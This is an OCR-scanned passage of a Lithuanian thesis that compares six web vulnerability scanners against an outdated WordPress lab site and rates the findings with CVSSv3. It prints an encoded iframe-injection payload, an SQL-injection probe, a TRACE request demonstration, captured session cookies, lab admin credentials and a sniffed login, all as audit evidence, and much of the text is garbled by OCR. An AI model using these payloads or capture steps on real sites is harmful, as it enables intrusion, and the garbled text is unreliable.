@package WordPress
/

* Ok F oF ok b ok ok b X

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define ('DB_NAME', 'wordpress');

/** MySQL database username */
define ('DB_USER', 'wp_user');

/** MySQL database password */
define ('DB_PASSWORD', 'wp_pass');
[...]

2.3. ISvados

Kadangi méginama i$siaiskinti dél jrankiy tinkamumo biudZetiniam saityno programos saugumo

audito tinkamumui, 3 jrankiai buvo pasirinkti komerciniai, ir 3 nemokami. Toks pasirinkimas leis

identifikuoti ar produkto kaina turi jtaka atrastam pazeidziamumy kiekiui.

Testavimo objektu buvo pasirinta populiariausios turinio valdymo sistemos sena versija, kartu su

jskiepiais, turin¢iais pavieSintus pazeidziamumus. Visus pasirinktus pazeidziamumus galima iSnaudoti

neturint prisijungimy prie turinio valdymo sistemos administracinés aplinkos.

Kadangi visus pazeidZiamumus galima iSnaudoti neautentifikuotam vartotojui, bei visi Sie

pazeidziamumai yra paviesinti internete — juos auditavimo programomis galima aptikti dviem budais.

Kiekviena programa turi galimybe identifikuoti problemg arba aktyviai aptikusi patj pazeidziamuma,

arba identifikuoti pazeidziamuma iSsiaiSkinant tam tikro komponento tikslig versija.
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3. SAUGUMO AUDITUI NAUDOTU IRANKIU REZULTATAI

Pirma uzduotis, kuri buvo atlikta jdiegus aplikacijg — tai jos atsarginé¢ kopija. Prie§ pradedant
testus su kiekvienu jrankiu, siekiant kuo tikslesniy rezultaty, svetainé buvo atstatoma j prading stadija.

Testavimo metu bus méginama iSsiaiskinti jrankiy efektyvuma, bei aptikty pazeidziamumy
koreliacijg su jrankio kaina. Kadangi 3 jrankiai yra nekomerciniai, atrastas pazeidziamumy kiekis
turéty buti minimalus.

Atliekant audita, pagal gautus rezultatus turéty iSaiSkéti, kurie i§ naudojamy jrankiy remiasi
aktyvia svetainés ataka, o kurie turi papildomg pazeidziamumy duombaze, kuri leisty tiksliai
identifikuoti esanCius pazeidziamumus. Kadangi programuojant didelius projektus kodas yra
dazniausiai pakartotinai pernaudojamas, labai tikétina, jog jos taip pat naudos ir treciyjy Saliy viesai

prieinamas bibliotekas bei komponentus.
3.1. Irankiy pateikti rezultatai

Kadangi svetainés auditas atlickamas minimaliais kaStais — néra samdomi asmenys §io audito
atlikimui. Testy metu buvo laikomasi i§vados, jog testus atliekantis asmuo turi tik minimaly kiekj ziniy
susijusiy su saugumu, todél visa programiné jranga buvo leidziama nustatymais, kurie jdiegiami pagal

nutyl¢jimg su mazom korekcijom apie svetainés technologijas.
3.1.1. Burp Scanner

Burp Suite automatinis jrankiui biitina nurodyti visas svetaingje esancias nuorodas, bei visus
jmanomus kintamuosius kuriuos reikia testuoti. Visus §iuos parametrus jrankis turi galimybe pats
surasti i§ jau esancios Burp Suite narSymo istorijos, todél jrankio nustatymui yra pakankama tik
apsilankyti audituojamoje svetainéje, ir nustatyti jog §i svetainé bus audito tikslas.

Integruotas automatinis ,,narSymo* rézimas pagal nustatytg audito tikslg iSnarSo visg svetaing jskaitant

uzkomentuotas nuorodas ir visas jas jkelia j narSymo istorijg (pav. 3.1):

35



Burp Intruder Repeater Window Help

_[ Target I Proxy T Spider I Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer T Extender I Project option|

l Site map | Scope

| Filter: Hiding out of scope and not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding

]

© httpr=— — Contents
> &/  http://wordpress.ktu.demo/
Host | Method | URL | Params | S
W Remove from scope
) Spider this host http://wordpress ktu... GET / 20
> B W TS T ——— http://wordpress.ktu... GET /?author=1 M 20
5 r w Passiv:I scan this host http://wordpress ktu... GET  /?cat=1 M 20
. @ - y http://wordpress ktu... GET /?feed=comments-r... M 20
» & x Engagement tools 2 http://wordpress ktu... GET /?feed=rss2 M 20
Compare site maps http://wordpress. ktu... GET  /eed=rss2&author=1 (] 20
Expand branch http://wordpress ktu... GET /Heed=rss2&cat=1 M 20
Expand requested items http://wordpress ktu... GET /?eed=rss2&p=1 M 20
Collapse branch < ]
Delete host o
Copy URLS in this host | Request [ Response |
Copy links in this host _[RawT Params T Headers T Hex ]
Save selected items GET /2p=4 HTTP/L.L
Issues P [Host: wordpress.ktu.demo
View > User-Agent: Mozilla/5.0 (Vindows NT 10.0; WOWE4:; rv
Gecko/20100101 Firefox/52.0
Show new site map window Accept:
. text/html, application/xhtml+xml, application/xml; =0
Site b help Accept-Language: en-US,en;gq=0.5

pav. 3.1 svetainés perdavimas automatiniam narSymui

Biitent Siuos duomenis iSanalizaves automatinis audito jrankis ir pasiiilo kokias vietas reikéty

iStestuoti ir kokius parametrus naudoti. Pagal surinktus duomenis, tos pacios nuorodos gali tur

skirtingg kiekj kintamyjy, kurie bus siunciami aktyvaus audito metu (pav. 3.2).

¢ti
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i Active scanning wizard

@ Review the items you have selected for scanning. Double-click items to view full details. You can remove individual items which you do not wish to scan, or go
back to modify your general filters.
Host 4| Method | URL |Params | Cookies | Status  |Length | MIME type |I |
http:/iwordpress ktu.demo  GET ! 0 3 200 25131 HTML |a
http:{fwordpress ktu demo  GET f?author=1 1 3 200 256248 HTML I
http:/fwordpress ktu.demo  GET {?cat=1 i 3 200 25291 HTML
http:/fwordpress ktu.demo  GET [eed=comments-rss2 1 3 200 1165 XML
http:/fwordpress ktu demo  GET [Heed=rss2&author=1 2 3 200 2819 XML
http:/fwordpress ktu.demo  GET {Meed=rss2&cat=1 2 4 200 2624 XML
http:/fwordpress ktu.demo  GET [?feed=rss2&p=1 2 3 200 1094 XML L
http:(fwordpress ktu.demo  GET [Meed=rss2&page_id=2 2 3 200 1094 XML
http:/fwordpress ktu.demo  GET [Heed=rss2&tag=im-secure 2 3 200 2068 XML
http:/fwordpress ktu.demo  GET [eed=rss2&tag=updates-for-loosers 2 4 200 2081 XML
http:/fwordpress ktu.demo  GET [tm=201703 1 3 200 25062 HTML
http:/fwordpress ktu.demo  GET 1?7p=1 1 3 200 26021 HTML
http:/fwordpress ktu.demo  GET /?page_id=2 i 3 200 25889 HTML
http:(fwordpress ktu.demo  GET [75=5656-555-0199%4 0example com&fead=r._. 2 3 200 20811 HTML
http:/fwordpress ktu.demo  GET /?5=5556-555-0199@example.com i 3 200 20848 HTML :
_:.(;_ o TSy —— “ - Ann EPETeY g —
36 items Remove Revert
Back oK

pav. 3.2 automatinis auditavimo jrankis

Tiek atliekant pirma narSymo dalj, tiek jjungus automatinj pazeidziamumy skanavimg surinktose
nuorodose — Burp Suite naudojo tg patj ,,User Agent*, kuris buvo nustatytas pagal narSykle, kuria buvo

atlikta pirma uzklausa.

192.168.30.1 - - [18/Mar/2017:15:45:22 -0400] "GET /xmlrpc.php?rsd HTTP/1.1" 200
743 "http://wordpress.ktu.demo/?p=4" "Mozilla/5.0 (compatible; MSIE 9.0; Windows
NT 6.1; Win64; x64; Trident/5.0)"

192.168.30.1 - - [18/Mar/2017:15:45:23 -0400] "GET /bld5b35d125283cl HTTP/1.1"
404 214 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)"

192.168.30.1 - - [18/Mar/2017:15:45:24 -0400] "GET
/1cl66flcb3/7cfd6a5486158b04c3641 HTTP/1.1" 404 230 "-" "Mozilla/5.0 (compatible;
MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"

Taigi jrankis viso audito metu apsimeté vartotojo narsykle.

I svetaing buvo iSsiysta 19753 uzklausos.

Srauto 156Mb.

Rezultatai:
1. Nenuolatinis jterptinio kodo paZeidZiamumas

Nuoroda http://wordpress.ktu.demo - kintamasis “s”.

2. Prisijungimo duomenys siun¢iami nesifruotu rySiu
3. Pateikiama pertekliné informacija

Narsant web aplikacija yra matomos Apache ir PHP versijos:

e Apache: 2.4.6 (CentOS)
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e PHP:54.16
4. Jjungtas TRACE metodo palaikymas
5. Trikstamos saugumo antrastés

e x-frame-options.

e x-content-type-options.

e strict-transport-security.

e content-security-policy.

e x-permitted-cross-domain-policies

6. Triukstamas HttpOnly atributas
3.1.2. NetSparker

Skirtingai nuo Burp Suite, Netsparker jrankis skirtas svetainés auditui, tod¢l pats testas prasideda

tiesiog jvedus atakuojamos svetain€s internetinj adresa.

Start a New Website or Web Service Scan X

Target Website or Web Service URL

ttp://wordpress.ktu.demo/| » X | Previous Settings |
~) Options
| /" Scan Settings | Scan Policy
General Default Security Checks v/
= Scope
Report Policy

Additional Websites

JS Imported Links Default Report Policy —;
2 :
& R Custom Cookies

\ ;./-A/ Authentication [

[ Form
J?  Basic, NTLM/Kerberos Crawling
5] Client Certificate ¥| Find & Follow New Links

¥| Enable Crawl & Attack at the Same Time
Pause Scan After Crawling

Incremental Scan

Start Scan % Cancel

pav. 3.3 Netsparker audito pradZia
Siekiant tikslesniy rezultaty, aplikacijoje galima nustatyti svetainei naudojamas technologijas.
Testo metu sugeneruotas srautas: 189Mb
I serverj buvo i$siysta 20650 uzklausy.
Rezultatai:
1. Nenuolatinis jterptinio kodo pazeidZiamumas

(1954

Nuoroda http://wordpress.ktu.demo, kintamasis “s”.
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2. Prisijungimo duomenys siun¢iami nesifruotu rySiu
3. Pasenusi programiné jranga:
e prettyPhoto 3.1.4
e PHP
¢ jQuery Migrate
e Apache
e Wordpress
4. Trikstamos saugumo antrastés
e x-frame-options.
e Xx-content-type-options.
e strict-transport-security.
e content-security-policy.
e x-permitted-cross-domain-policies
5. Jjungtas TRACE metodo palaikymas
6. Rémelio jterpimas
Rastas pazeidziamumas toje pacioje vietoje kaip ir pries tai apraSytas jterptinio kodo

pazeidziamumas, pasizymintis lyigiai tomis paciomis savybémis:

S=%3ciframe+src%3d%22http%3a%2£%$2fr87.com%2f%3£%$22%3e%$3c%2fiframe%3e

Taigi Sita pazeidziamumg galima priskirti kaip jterptinio kodo paZeidziamumo dublikata.
7. Trukstamas HttpOnly atributas
8. Pateikiama pertekliné informacija
Narsant web aplikacijg yra matomos Apache ir PHP versijos:
e Apache: 2.4.6 (CentOS)
e PHP:5.4.16

3.1.3. Arachni

Testo metu sugeneruotas srautas: 2860Mb
I serverj buvo issiysta 212050 uzklausy
Rezultatai:
1. Nenuolatinis jterptinio kodo paZeidZiamumas
Nuoroda http://wordpress.ktu.demo - kintamasis “s”.
Taip pat 2 klaidingi pranesimai apie atspindincias reikSmes Cookies reik§mése. Siunciant
testines uzklausas su Siom cookies reikSmém kartu buvo siunc¢iamas ir URL adrese esantis

,,S* kintamasis su lygiai tokia pacia simboliy seka, kuri ir buvo atspindéta i§ serverio

atsiystam atsakyme.
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2. Prisijungimo duomenys siun¢iami nesifruotu rySiu
3. Jjungtas TRACE metodo palaikymas
4. Trikstamos saugumo antrastés

e x-frame-options

e Xx-content-type-options

e strict-transport-security

e content-security-policy

x-permitted-cross-domain-policies

5. Trikstamas HttpOnly atributas

3.1.4. W3af

Anks¢iau programiné jranga buvo pateikiama kartu su Kali linux, ta¢iau Siuo metu néra nei
idiegta, nei leidziama parsisiysti i§ Kali repozitorijos. Suinstaliuoti programing jranga galima tik
parsisiuntus programinj kodg i§ git repozitorijos ir véliau paleidus instaliacinj faila, kuris sudiegty i
sistemg visus trikstamus paketus reikalingus $iai programinei jrangai.

Pats projektas panasu, kad apleistas, ir jau nuo 2015 mety vidurio nebuvo isleista nauja versija.
Taip pat instaliacinis failas, sudiegiantis visus reikalingus paketus ne tik, kad sékmingai visko
nesudiegia, taCiau ir sugadina esamg instaliacijg. Dél konkre¢iy nurodyty versijy diegimo scenarijuje,
sistemoje nustojo veikti “pip” jrankis, kuris skirtas python biblioteky parsisiuntimui. Paméginus jrankj
jdiegti kitoje linux operacinéje sistemoje — rezultatas galutinis buvo tas pats.

Nepaisant buvusiy problemy, Sio jrankio komanding versijg pavyko paleisti. Deja pats auditavimo

nustatymy suvedimo principas yra painus ir nedraugiskas pradedanciajam vartotojui.
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Start the scan.

Enable and configure plugins.
Exploit the vulnerability.

List and use scan profiles.
Cleanup before starting a new scan.

Display help. Issuing: help [command] ,
Show w3af version information.
Display key shortcuts.

http-settings Configure the HTTP settings of the framework.
misc-settings Configure w3af misc settings.
Configure the target URL.

Go to the previous menu.
Exit w3af.

Go to the previous menu.
Exit w3af.

infrastructure iew, configure enable infrastructure plugins
audit iew, configure enable audit plugins

auth iew, configure enable auth plugins

evasion iew, configure enable evasion plugins
bruteforce iew, configure enable bruteforce plugins
crawl iew, configure enable crawl plugins

grep iew, configure enable grep plugins

mangle i configure enable mangle plugins

output , configure enable output plugins

pav. 3.4. w3af konfigiravimas
Ivedus audituojamg svetaing taip pat buvo biitina jjungti modulius, kurie ta svetaine narSyty,
papildomai nustatyti raportavimo nustatymus, kurie pateikia skirtingus duomenis, ir kai kuriuose gali
biti jy nepakankamai. PraktiSkai visi moduliai programinéje jrangoje pagal nutyléjimg yra iSjungti,
todél pries audituojant sistema, reikéty visus juos perbégti ir patikrinti.
Testo metu sugeneruotas srautas: 184Mb
I serverj buvo iSsiysta 17995 uzklausos
Rezultatai:
1. Nenuolatinis jterptinio kodo paZeidZiamumas
Nuoroda http://wordpress.ktu.demo - kintamasis “s”.
2. Akla SQL injekcija

Nuoroda http://wordpress.ktu.demo kintamasis ,,s* — klaidingai identifikuota problema.

3.1.5. Vega

Testo metu sugeneruotas srautas: 171mb

I serverj buvo issiystos 23538 uzklausos

Patogus uzklausos-atasakymo perzitir¢jimo biidas. Kilus klausimui, dél ko programa galéjo
interpretuoti pazeidziamumga, atidaromas langas su visom siystom uzklausom ir gautais atsakymais i$

serverio (Zr. pav. 3.5)
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Subgraph Vega
File Scan Window Help

|0 & (o

Gey¥-"o
ID Host ‘Method Request Status Length Time (r Ti &
12 http://wordpress.ktu.demo /wp-includes/wlwmanifest.xml § 200 |

13 http://wordpress.ktu.demo | | /wp-content/plugins/ i 200 I
14 | http://wordpress.ktu.demo | /wp-content/themes/ 200

15 { http://wordpress.ktu.demo ; Iwp-includes/js/ i 403

16 http://wordpress.ktu.demo /wp-includes/css/ 403

17 | http://wordpress.ktu.demo | /wp-content/uploads/ 1 403

http://wordpress.ktu.demo ?feed=rss2&author=e%200r%201%20eq%201%200r%20a%20=%20a

19 http://wordpress.ktu.demo /http:/wordpress.ktu.demo/?s=1"%20style=-->">">"<vww000683v647520> ‘ 404 1 .
=] 2V s

Request  Response

=HTTP/1.1 200 OK
Date: Wed, 19 Apr 2017 07:35:00 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Set-Cookie: websitez_mobile _detector=%7C0%7C7alc9344ffcbe2316169f2cbbc867973; expires=Wed, 19-Apr-2017 08:35:00 GMT; path=/
X-Pingback: http://wordpress.ktu.demo/xmlrpc.php
Last-Modified: Mon, 13 Mar 2017 22:08:18 GMT
ETaq: "4de4dbae87f69873321341b7d73d3eee”
Content-Length: 927
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/rss+xml; charset=UTF-8

= <?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/" v
T T —

J =2 @ Proxy is not running

pav. 3.5 auditas atlieckamas Vega programine jranga

Rezultatai:
1. Prisijungimo duomenys siun¢iami neSifruotu rySiu
2. Jjungtas TRACE metodo palaikymas
3. Trikstamas HttpOnly atributas
4. Trikstamos saugumo antrastés
e X-Frame-Options

3.1.6. Acunetix

Irankio vidiné sgsaja sukurta windows operacinei sistemai. Pats jrankis yra valdomas prisijungus

per narSykle (zr. pav. 3.6):
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O E] localhost 724’ = :/- g

acunetix

Add Target

Address Description Status Vulnerabilities =

Targets http://wordpress.ktu.demo Last scanned on Apr 20, 2017 10:01:09 PM (17 | 4 |

pav. 3.6 Acunetix programinés jrangos valdymas per narsykle
Testo metu sugeneruotas srautas: 289Mb
I serverj buvo i$siysta 114654 uzklausos
Rezultatai:
1. Nenuolatinis jterptinio kodo paZeidZiamumas
Nuoroda http://wordpress.ktu.demo - kintamasis “s”.
2. Per lengvas slaptazodis
3. Pasenusi programiné jranga:
Irankis identifikavo serveryje esancig pasenusig programing jranga kaip PHP versija, taip

pat pranesé apie seng turinio valdymo sistema, bei visus pasenusius jos komponentus (Zr.

pav. 3.7).
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WordPress 4.3 Multiple Vulnerabilities (0.7 - 4.3)

WordPress 4.3.x Cross-Site Scripting Vulnerability (4.3 - 4.3.1)
WordPress 4.3.x Cross-Site Scripting Vulnerability (4.3 - 4.3.3)
WordPress 4.3.x Multiple Vulnerabilities (4.3 - 4.3.2)
WordPress 4.3.x Multiple Vulnerabilities (4.3 - 4.3.4)
WordPress 4.3.x Multiple Vulnerabilities (4.3 - 4.3.5)
WordPress 4.3.x Multiple Vulnerabilities (4.3 - 4.3.6)
WordPress 4.3.x Multiple Vulnerabilities (4.3 - 4.3.7)

WordPress 4.3.x Multiple Vulnerabilities (4.3 - 4.3.8)

WordPress 4.3.x Same Origin Method Execution (SOME]} Vulnerability (...

WaordPress Plugin 404 to 301 Cross-Site Scripting (2.3.0)
WordPress Plugin 404 to 301 Cross-Site Scripting (2.3.1)

WordPress Plugin DB Backup Directory Traversal (4.5)

WordPress Plugin NEX-Forms-Ultimate Form builder Multiple SQL Inje...

WordPress Plugin ReFlex Gallery Arbitrary File Upload (3.1.3)
WordPress Plugin ReFlex Gallery Cross-Site Scripting (3.1.4)
WordPress Plugin wp-FileManager Arbitrary File Disclosure (1.3.0)
WordPress Plugin WP DS FAQ 'ajax.php' SQL Injection (1.3.2)
WordPress Plugin WP Mobile Detector Arbitrary File Upload (3.5)

WordPress Plugin WP Mobile Detector Multiple Vulnerabilities (3.8)

http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http:/fwordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http://wordpress.ktu.demo/
http:/fwordpress.ktu.demo/
hitp:/fwordpress.ktu.demo/
http://wordpress.ktu.demo/

http://wordpress.ktu.demo/

L I SN N A

pav. 3.7 Acunetix jrankio identifikuota pasenusi programiné jranga

Triikstamas HttpOnly atributas

Trace metodo palaikymas

VieSai matoma Administraciné Wordpress dalis
Aktyvus pagal nutyléjima sukurtas vartotojas (admin)

Pazeidziamas slaptazodziy spéliojimo atakoms
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3.2. Rasty pazZeidZiamumy apibendrinimas

Siame skyriuje perzvelgiami visy audito jrankiy gauti rezultatai. Kiekvienam rezultatui
pateikiamas jrodymas, bei rizikos jvertinimas pagal CVSSv3'? metodika.

Pazeidziamumy jvertinimy santrauka pavaizduota lenteléje Zemiau (zr. lentelé 3.1 rasty
pazeidziamumy riziky santrauka).

lentelé 3.1 rasty pazeidziamumy riziky santrauka

PazeidZiamumas Rizika

Nenustatytas HttpOnly atributas

Trikstamos saugumo antrastés:

Ijungtas TRACE metodas 4.3 (vidutiné rizika)
Informacijos perteklius 5.3 (vidutiné rizika)
Ijungtas TRACE metodas 5.3 (vidutiné rizika)
Duomeny perdavimas nesifruotu kanalu 6.5 (vidutiné rizika)
Neegzistuojanti slaptazodziy politika 7.3 (auksta rizika)

3.2.1. Nenustatytas HttpOnly atributas

Web aplikacija iSduodamiems slapukams (angl. cookies) nenustato HTTPOnly atributo. Slapukas,
kuriam nenustatytas HTTPOnly parametras, reikSmé gali biiti lengvai nuskaitoma kliento scenarijy.
Cross-Site Scripting atakos metu jsilauzélis tai galéty i$naudoti vartotojo sesijos perémimui. Sis
atributas yra Microsoft iSpléstas slapuky standartas, kurio paskirtis yra apsauga nuo slapuky perémimo
ataky. Sis standartas yra palaikomas nuo Firefox 2.0.0.6 ir Internet Explorer 6 SP1 interneto narsykliy
Versijy.

PaZeidZiamumo demonstracija

Deja, turimos slapuky reikSmeés, apie kurias aplikacija prane$¢, yra naudojamos statistikos
surinkimui bei laikiniems nustatymams i$saugoti. Tokiems slapukams dazniausiai H#tpOnly reikSmé
néra nustatoma. O jungiantis prie turinio valdymo sistemos aplikacija nustaté¢ HttpOnly reikSmes
korektiskai.

Po prisijungimo turinio valdymo sistema nustaté slapukus su HttpOnly atributu:

HTTP/1.1 302 Found

Date: Wed, 19 Apr 2017 19:04:23 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

Set-Cookie: websitez mobile detector=%7C0%7Cec09cl1£205a8c%9a567166203a7884107;
expires=Wed, 19-Apr-2017 20:04:24 GMT; path=/

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

12 https://www.first.org/cvss/specification-document
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Set-Cookie: wordpress test cookie=WP+Cookietcheck; path=/

X-Frame-Options: SAMEORIGIN

Set-Cookie:

wordpress 12379f8edbf7e34eb03e6506771603c9=admin%7C1492801464%7CjbSiKmwM220HGDsI8
XZpLQrMaOCGjDcLo3nbto3NMuz$7C35c9ac6f£3712££d128cb6d7269%9ac02b0142£17£271e50d47299
10e72b397aa3; path=/wp-content/plugins;

Set-Cookie:

wordpress_ 12379f8edbf7e34eb03e6506771603c9=admin%7C1492801464%7CjbSiKmwM220HGDsI8
XZpLQrMaOCGjDcLo3nbto3NMuz$7C35¢c9ac6f£3712££d128cb6d7269ac02b0142£17£271e50d47299
10e72b397aa3; path=/wp-admin;

Set-Cookie:

wordpress_logged in 12379f8edbf7e34eb03e6506771603c9=admin%7C1492801464%7CjbSiKmw
M220HGDsI8XZpLQrMaOCG)DcLo3nbto3NMuz%7C81992fbb4b0d0b6badlbf5a419092ddadf9clacld’
£f2da3848c7dcf29247b63; path=/;

Location: http://wordpress.ktu.demo/wp-admin/

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

lentelé 3.2 tritkstamo atributo rizikos jvertinimas

3.2.2. Trikstamos saugumo antrastés:

Web aplikacija neiSnaudoja saugumo gerinimo priemoniy, kurias suteikia modernios interneto
narSyklés. WEB modulis nenustato HTTP saugumo antraséiy: X-XSS-Protection (apsauga nuo
Reflected Cross-Site Scripting ataky), X-Frame-Options (apsauga nuo Clickjacking ataky), Strict-
Transport-Security (apsauga nuo man-in-the-middle ataky), Content-Security-Policy (apsauga nuo
Clickjacking ir Cross-Site Scripting ataky) ir X-Content-Type-Options (apsauga nuo MIME-tipy
klastojimo). Siy saugumo antrai¢iy naudojimas apsunkina jvairiy tipy klientiniy ataky vykdyma.
PazZeidZiamumo demonstracija:

Ivedus narsykléje adresg http://wordpress.ktu.demo, vartotojui atsiunciamas atsakymas iS serverio,

kuriame néra nustatytos né vienos minétos antrastes:

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 18:50:48 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

Set-Cookie: websitez mobile detector=%7C0%7Cec09cl1£205a8c%9a567166203a7884107;
expires=Wed, 19-Apr-2017 19:50:48 GMT; path=/

X-Pingback: http://wordpress.ktu.demo/xmlrpc.php

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 32246

<!DOCTYPE html>

<!--[if IE 7]>

<html class="ie ie7" lang="en-US">
<![endif]-->

<!--[if IE 8]>

[...]
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lentelé 3.3 tritkstamy saugumo antrasciy rizikos jvertinimas

3.2.3. Jjungtas TRACE metodas

Klaidinga web serverio konfigiiracija leidzia naudoti HTTP TRACE metoda, kuris gali biiti
panaudotas jterptinio kodo atakose (angl. XSS) atakose perimant vartotojo slapukus, kurie yra
apsaugoti HTTPOnly parametru. Taip pat S$is metodas gali buti panaudotas iSnaudojant
pazeidziamumus susijusius su ,,SSL / TLS jungimosi persvarstymu naudojant atviro teksto injekcijas‘
(angl. Renegotiation Handshakes MitM Plaintext Data Injection), kuomet | duomeny srautg yra
jterpiamas specialus jterptinio kodo atakos vektorius ir taip yra pazeidziamas duomeny
konfidencialumas.

StandartisSkai HTTP TRACE metodas yra naudojamas derinimui, kuomet kliento siysta H7TP
uzklausa yra serverio grazinama nepakitusi kaip atsakymas.
PazeidZiamumo demonstracija:

Serveriui siysta uzklausa:

TRACE / HTTP/1.1

Host: wordpress.ktu.demo
Connection: close

Cookie: securecookie=secure value;
Content-Length: O

Serverio gragzintame atsakyme yra ir miisy siysta uzklausa:

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 18:53:03 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
Connection: close

Content-Type: message/http
Content-Length: 120

TRACE / HTTP/1.1

Host: wordpress.ktu.demo
Connection: close

Cookie: securecookie=secure value;
Content-Length: 0

lentelé 3.4 TRACE metodo rizikos jvertinimas
CVSSv3 Rizikos jvertinimas 4.3 (vidutiné rizika) CVSS:3.0/AV:N/AC:L/PR:N/UIL:R/S:U/C:L/I:N/A:N

3.2.4. Informacijos perteklius

Daugeliu atvejy, sistemoje egzistuojantys kritiniai pazeidZziamumai negali biiti tinkamai
iSnaudoti neturint papildomy Ziniy apie atakuojamg sistemg, todél sisteminés informacijos perteklius
palengvina S§iy pazeidziamumy iSnaudojima. Pazeidziamumams, kurie atskleidzia sisteming
informacija, yra priskiriami, pavyzdziui, detaliy klaidos praneSimy rodymas, jdiegtos programinés

jrangos versijos nustatymas, direktorijy turinio ir kelio iki Sakninio katalogo atskleidimas:
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PazeidZiamumo demonstracija:
Ivedus narSykléje adresa http.//wordpress.ktu.demo, vartotojui atsiunCiamas atsakymas i$

serverio:

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 08:04:23 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

Set-Cookie: websitez mobile detector=%7C0%7C7alc9344ffcbe2316169f2cbbc867973;
expires=Wed, 19-Apr-2017 09:04:23 GMT; path=/
X-Pingback: http://wordpress.ktu.demo/xmlrpc.php
Keep-Alive: timeout=5, max=35

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

<!--[if IE 71>

<html class="ie ie7" lang="en-US">
<!lendif]-->

[...]

lentelé 3.5 informacijos pertekliaus rizikos jvertinimas

‘ CVSSv3 Rizikos jvertinimas 5.3 (vidutiné rizika) CVSS:3.0/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:N/A:N

3.2.5. Iterptinio kodo pazZeidziamumas

Praktiskai visi jrankiy rastas pazeidziamumas yra http://wordpress.ktu.demo nuorodoje
nefiltruojamas kintamasis ,,s*. Sis pazeidziamumas yra WordPress turinio valdymo sistemos Better
Search jskiepyje (zZr. paragrafg [1). Kadangi §is pazeidZiamumas jau yra pranestas ir visiems zinomas,
jdentifikavus pazeidziamg jskiepj, jis bty priskirtas ,pasenusios programinés jrangos
pazeidziamumy klasei.
lentelé 3.6 jterptinio kodo paZeidZiamumo rizikos jvertinimas

CVSSv3 Rizikos jvertinimas 5.3 (vidutiné rizika) CVSS:3.0/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:N/A:N

3.2.6. Duomeny perdavimas neSifruotu kanalu

3 i§ 6 jrankiy prane$¢ apie lengvai pastebimg prisijungimo duomeny nesifruotu rySiu
pazeidziamumag. Svetainé pasiekiama tik naudojant HTTP protokola, todél jsilauzéliui turin¢iam
prieigg prie serverio arba vartotojo kliento infrastruktiiros yra galimybé perimti slaptazodj (Zr. pav.
3.8).

PazZeidZiamumo demonstracija:

Prisijungimo duomenys buvo perimti naudojant Wireshark programine jranga:
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Mao. Time Source Destination Protocol Length Info ~

* 4 8.8068590 192.168.30.1 192.168.38.145 HTTP 818 POST /wp-login.php HTTP/1.1 (application/x-www-form-
5 B.8085896 192.168.38.145 192.168.38.1 TEP 68 88233383 [ACK] Seg=1 Ack=757 Win=38728 Len=0
6 8.232174 192.168.38.145 192.168.38.1 TCP 1514 [TCP segment of a reassembled PDU] L4
£ >

Frame 4: 818 bytes on wire (6488 bits), 818 bytes captured (6488 bits) on interface @
Ethernet II, Src: Vmware c@:80:05 (80:50:56:c0:00:08), Dst: Vmware 00:Tb:28 (898:0c:29:00:Tb:28)
Internet Protocol Version 4, Src: 192.168.38.1, Dst: 192.168.38.145
» Transmission Control Protocol, Src Port: 33363, Dst Port: 88, Seq: 1, Ack: 1, Len: 756
' Hypertext Transfer Protocol
v HTML Form URL g st amnly v -form-urlencoded
Form item:Q§"
Form item:§"

Form item: g
Form item: "redirect_to" = "http://wordpress.ktu.demo/wp-admin/"
Form item: "testcookie” = "1"

pav. 3.8 perimti prisijungimo duomenys

lentelé 3.7 duomeny perdavimo nesifruotu kanalu rizikos jvertinimas

CVSSv3 Rizikos jvertinimas ‘ 6.5 (vidutiné rizika) CVSS:3.0/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:L/A:N

3.2.7. Neegzistuojanti slaptazodZziy politika

Turi buiti sudaryta ir web aplikacijoje programiskai jgyvendinta slaptazodziy politika. Saugus
slaptazodis turi biiti sudarytas i$: didziyjy raidziy (A, B, C, ...), mazyjy raidziy (a, b, c, ...), skaitmeny
(1, 2, 3, ...), specialiyjy simboliy (!, <, @ ... ), turi biiti nereikSminis zodis ir netrumpesnis negu 8
simboliai.

Taip pat rekomenduojama naudoti laikino paskyros rakinimo (pvz. 30-60 sekundziy) arba naujo
slaptazodZzio generavimo (pvz. el. pastu atsiunciant nuorodg pasikeisti slaptazodj) mechanizmus po
keleto (pvz. 5) neteisingy slaptazodzio jvedimo bandymy. Tai leisty apsaugoti sistemas ir web
aplikacijas nuo slaptazodZzio parinkimo ataky.

PazeidZiamumo demonstracija
Aplikacijos prisijungimo duomenys:
Vartotojo vardas: admin

Vartotojo slaptazodis: admin

